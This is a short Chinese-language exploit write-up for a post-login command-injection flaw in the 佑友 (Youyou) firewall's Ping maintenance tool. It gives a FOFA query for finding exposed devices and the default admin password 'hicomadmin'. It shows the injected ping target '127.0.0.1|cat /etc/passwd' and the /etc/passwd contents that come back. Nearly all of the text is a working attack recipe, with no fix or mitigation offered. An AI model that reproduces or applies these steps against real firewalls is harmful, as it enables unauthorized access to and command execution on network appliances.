

佑友防火墙 后台命令执行漏洞

漏洞描述

漏洞影响

FOFA

漏洞复现

漏洞描述

佑友防火墙 后台维护工具存在命令执行，由于没有过滤危险字符，导致可以执行任意命令

漏洞影响

佑友防火墙

FOFA

title="佑友防火墙"

漏洞复现

登录页面如下



 防火墙网关管理系统 V7.14.28

Chinese simplified (简体中文) ▼

登录

默认账号密码为

1 User: admin
2 Pass: hicomadmin

雾隐安全

一吃安全

admin

系统管理 >> 维护工具 >> Ping

▼ 系统管理

系统信息

时间设置

管理员

远程维护

双机互备

备份/恢复

维护工具

• 关机/重启

• Ping

• IP地址追踪

• IP归属地查询

◀ 网络设置

◀ 上网控制

◀ 防火墙

◀ VPN管理

◀ 流量控制

◀ 入侵防护

◀ 日志查询

Ping

源: 默认 目的地址: 127.0.0.1|cat /etc/passwd Ping

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:./:/sbin/nologin
rpm:x:37:37:./var/lib/rpm:/sbin/nologin
ntp:x:38:38:./etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:./:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
haldaemon:x:68:68:HAL daemon:./:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/ssh:/sbin/nologin
pcap:x:77:77:./var/arpwatch:/sbin/nologin
distcache:x:94:94:Distcache:./:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin